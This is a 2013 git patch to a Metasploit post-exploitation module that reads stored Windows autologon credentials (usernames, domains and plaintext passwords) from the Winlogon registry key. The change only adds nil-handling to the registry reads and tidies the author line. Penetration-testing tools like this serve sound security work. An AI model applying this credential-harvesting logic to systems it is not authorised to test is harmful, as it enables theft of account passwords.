From 70c472fb7e540a1d272cf1f7a6c33646bc5c85b9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 3 Jul 2013 12:23:14 -0500 Subject: [PATCH] [FixRM:#8134] - Handle registry_getvaldata return value properly registry_getvaldata can return nil, can't always assume it's gonna throw a string. --- .../gather/credentials/windows_autologin.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index 0cc826870d..a14862e078 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Myo Soe ' + 'Myo Soe' #YGN Ethical Hacker Group, http://yehg.net ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -60,15 +60,15 @@ class Metasploit3 < Msf::Post # DefaultDomainName, DefaultUserName, DefaultPassword # AltDefaultDomainName, AltDefaultUserName, AltDefaultPassword logon_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\" - al = registry_getvaldata(logon_key, "AutoAdminLogon") + al = registry_getvaldata(logon_key, "AutoAdminLogon") || '' - do1 = registry_getvaldata(logon_key, "DefaultDomainName") - du1 = registry_getvaldata(logon_key, "DefaultUserName") - dp1 = registry_getvaldata(logon_key, "DefaultPassword") + do1 = registry_getvaldata(logon_key, "DefaultDomainName") || '' + du1 = registry_getvaldata(logon_key, "DefaultUserName") || '' + dp1 = registry_getvaldata(logon_key, "DefaultPassword") || '' - do2 = registry_getvaldata(logon_key, "AltDefaultDomainName") - du2 = registry_getvaldata(logon_key, "AltDefaultUserName") - dp2 = registry_getvaldata(logon_key, "AltDefaultPassword") + do2 = registry_getvaldata(logon_key, "AltDefaultDomainName") || '' + du2 = registry_getvaldata(logon_key, "AltDefaultUserName") || '' + dp2 = registry_getvaldata(logon_key, "AltDefaultPassword") || '' if do1 != '' and du1 != '' and dp1 == '' and al == '1' has_al = 1